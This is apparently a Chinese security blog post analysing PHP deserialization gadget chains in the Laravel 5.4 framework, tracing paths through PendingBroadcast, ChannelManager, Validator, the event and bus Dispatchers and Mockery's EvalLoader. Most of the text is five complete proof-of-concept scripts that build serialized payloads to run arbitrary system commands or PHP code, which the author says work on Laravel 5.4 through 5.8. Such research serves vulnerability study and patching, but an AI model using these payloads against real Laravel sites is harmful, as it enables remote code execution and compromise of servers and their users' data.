Laravel5.4 反序列化漏洞挖掘
环境准备
php 版本 7.3;
composer create-project --prefer-dist laravel/laravel laravel5.5 "5.4.*"
下载的版本应该是 5.4.30的。
添加路由
添加控制器
分析
全局搜索 __destruct()
失败的链子
在 PendingBroadcast.php
中
这里的利用思路有两个,一个找 __call
一个找可利用的 dispatch
方法。
找到一个 Faker\Generator.php
,眼熟不?yii2里一模一样
看似一切都可控,控制 $this->formatters[$formatter]
为执行的函数,用 $this->event
控制命令。
但是
这里直接给掐掉了。
我看其他师傅复现的laravel5.4
这个类里似乎根本没有这个方法。
第一条链子
找其他可用的 __call
方法
在Illuminate/Support/Manager.php
跟进driver()
然后一路看下去。
注意这里,存在可变函数,可以RCE,但是现在不可控的变量 是 $driver
会去看$driver
的获取,在 driver()
方法的第一行
跟进
这是一个抽象方法,需要找他的继承类里的重写。
在Illuminate/Notifications/ChannelManager.php
中
poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->app = $cmd;
$this->customCreators = ['jiang' => 'system'];
$this->defaultChannel = 'jiang';
}
}
}
虽然有很多报错,但命令确实是执行了。
$argv
是php
命令行下的参数。 $argv[0]
是我们的脚本名,$argv[1]
即是我们传入的命令。
不弹计算器的话,执行结果应该也是在response
的第一行,web页面里只会显示debug 的错误,源码中会有。
第二条链子
继续找其他可利用的__call
。
Illuminate/Validation/Validator.php
跟进一下这个方法。
$callback可控不?调试看一下$rule 的获取
也很好理解,我们传入的 dispatch刚好八字符,从第八位开始也就是空,传入后,不进入第一个if,进入第二个分支也没有改变什么,最后返回空。
那么我们设置 $this->extensions值为[''=>'system'] ,就可以rce了。
poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Validation\Validator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [''=>'system'];
}
}
第三条链子
__call
方法没找到了,找 dispatch
方法吧
Illuminate/Events/Dispatcher.php
又是可变函数,看上面参数如何控制。
跟进parseEventAndPayload()
$payload
一开始我们没有传入值,这里也没有控制点,这个参数并不可控。
再看$listener
是否可控。
跟进 getListerners()
$listeners
可以赋值为 $this->liseners[$evenName]
,$eventName
是传入的 $event
值,是可控的。最后返回也是会遍历的,不去管 getWildcardListeners()
方法。而且我们利用system
函数rce
的时候,是不可能存在system
类名的。
system
支持两个参数。
poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
第四条链子
继续找 dispatch
方法
Illuminate/Bus/Dispatcher.php
看起来像是执行命令的点。
跟进一下dispatchToQueue()
似乎确实可以命令执行,
但是这里不可控的点是$connection
变量,看一下 $command
变量的获取。
跟进一下 commandShouldBeQueued()
方法
判断 $command
是否是 ShouldQueue
的实现。
我们这里传入的 $command
必须是 ShouldQueue
接口的一个实现。而且$command
类中包含connection
属性。
找找看喽。
都没有哈哈哈。但其实我们只找了一点,但没全找。当类是 use 了 trait类,同样可以访问其属性。
这样我们就控制了call_user_func
的参数。
poc1
<?php
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
class BroadcastEvent{
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
?>
这里 call_user_func 的方法名可控,可以调用任意类的方法,看别的师傅有用到,这里也整理一下吧。
Mockery/Loader/EvalLoader.php
这里拼接了 $definition->getCode();
这里可控,如果不进入上面的if
分支,就可以执行任意php代码了。
如果 类没有被定义,且不自动加载类,那么我们就绕过了上面的if
,跟进getClassName()
找可利用的 getName
方法。
这个就比较多了
Session\Store
类中
poc2
<?php
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = [new EvalLoader(),'load'];
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent{
public $connection;
public function __construct($code){
$this->connection = new MockDefinition($code);
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Mockery\Generator{
use Illuminate\Session\Store;
class MockDefinition{
protected $config;
protected $code;
public function __construct($code){
$this->config=new Store();
$this->code=$code;
}
}
}
namespace Illuminate\Session{
class Store{
protected $name='jiang';//类不存在就好哈哈
}
}
?>
这条链子看起来非常曲折,看一下调用栈吧。
到load
这里,又因为这个方法需要的参数是一个 MockDefinition
的对象,所以我们需要让 $connection
为这个对象,
这个对象的 getClassName
又去其他类的 getName
方法。思路要清晰啊。
写在后面
虽说审计的 laravel5.4
的代码 ,但这4条链子在,laravel5.4-5.8
(仅测试这几个版本)中都是可以打通的。
后续审计 5.7 5.8
的框架就不再细说这些地方的。